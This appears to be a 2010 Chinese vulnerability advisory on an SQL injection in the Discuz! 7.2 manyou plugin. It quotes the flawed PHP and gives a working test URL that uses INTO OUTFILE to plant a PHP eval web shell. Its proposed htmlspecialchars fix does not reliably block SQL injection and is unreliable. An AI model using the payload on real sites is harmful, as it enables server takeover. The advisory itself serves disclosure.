安全研究

安全漏洞
Discuz!论坛manyou插件SQL注入漏洞

发布日期:2010-03-25
更新日期:2010-03-30

受影响系统:
Discuz! Discuz! 7.2
描述:
Discuz!是一款华人地区非常流行的Web论坛程序。

最新的Discuz! 7.2版本中捆绑了新的应用程序插件manyou,而这个新插件没有对传入的参数进行检查,在GPC为off的情况下可能导致注入漏洞的产生。

/manyou/sources/notice.php

if($option == 'del') {
$appid = intval($_GET['appid']);
$db->query("DELETE FROM {$tablepre}myinvite WHERE appid='$appid' AND touid='$discuz_uid'");
showmessage('manyou:done', 'userapp.php?script=notice&action=invite');
} elseif($option == 'deluserapp') {
$hash = trim($_GET['hash']);    //此处并没有进行过滤,直接导致注入的产生
if($action == 'invite') {  
$query = $db->query("SELECT * FROM {$tablepre}myinvite WHERE hash='$hash' AND touid='$discuz_uid'");
if($value = $db->fetch_array($query)) {
$db->query("DELETE FROM {$tablepre}myinvite WHERE hash='$hash' AND touid='$discuz_uid'");
showmessage('manyou:done', 'userapp.php?script=notice&action=invite');
} else {
showmessage('manyou:noperm');
}
} else {
$db->query("DELETE FROM {$tablepre}mynotice WHERE id='$hash' AND uid='$discuz_uid'");
showmessage('manyou:done', 'userapp.php?script=notice');
}
}

在没有查询结果返回的情况下只有采取盲注的方式,但如果当前数据库帐号有File_priv的话也可以直接into outfile。

<*来源:Sebug.net (http://www.sebug.net/)
  
  链接:http://sebug.net/vulndb/19356/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/userapp.php?script=notice&view=all&option=deluserapp&action=invite&hash=' union select NULL,NULL,NULL,NULL,0x3C3F70687020406576616C28245F504F53545B274F275D293B3F3E,NULL,NULL,NULL,NULL into outfile 'C:/inetpub/wwwroot/shell.php'%23

/manyou/admincp.php?my_suffix=%0A%0DTOBY57

/manyou/admincp.php?my_suffix=%0A%0DTOBY57

/manyou/userapp.php?%0D%0A=TOBY57

建议:
临时解决方法:

* 对$hash取值进行过滤

$hash = trim($_GET['hash']);

替换为

$hash = htmlspecialchars(trim($_GET['hash']));

厂商补丁:

Discuz!
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.discuz.net/

浏览次数:3358
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障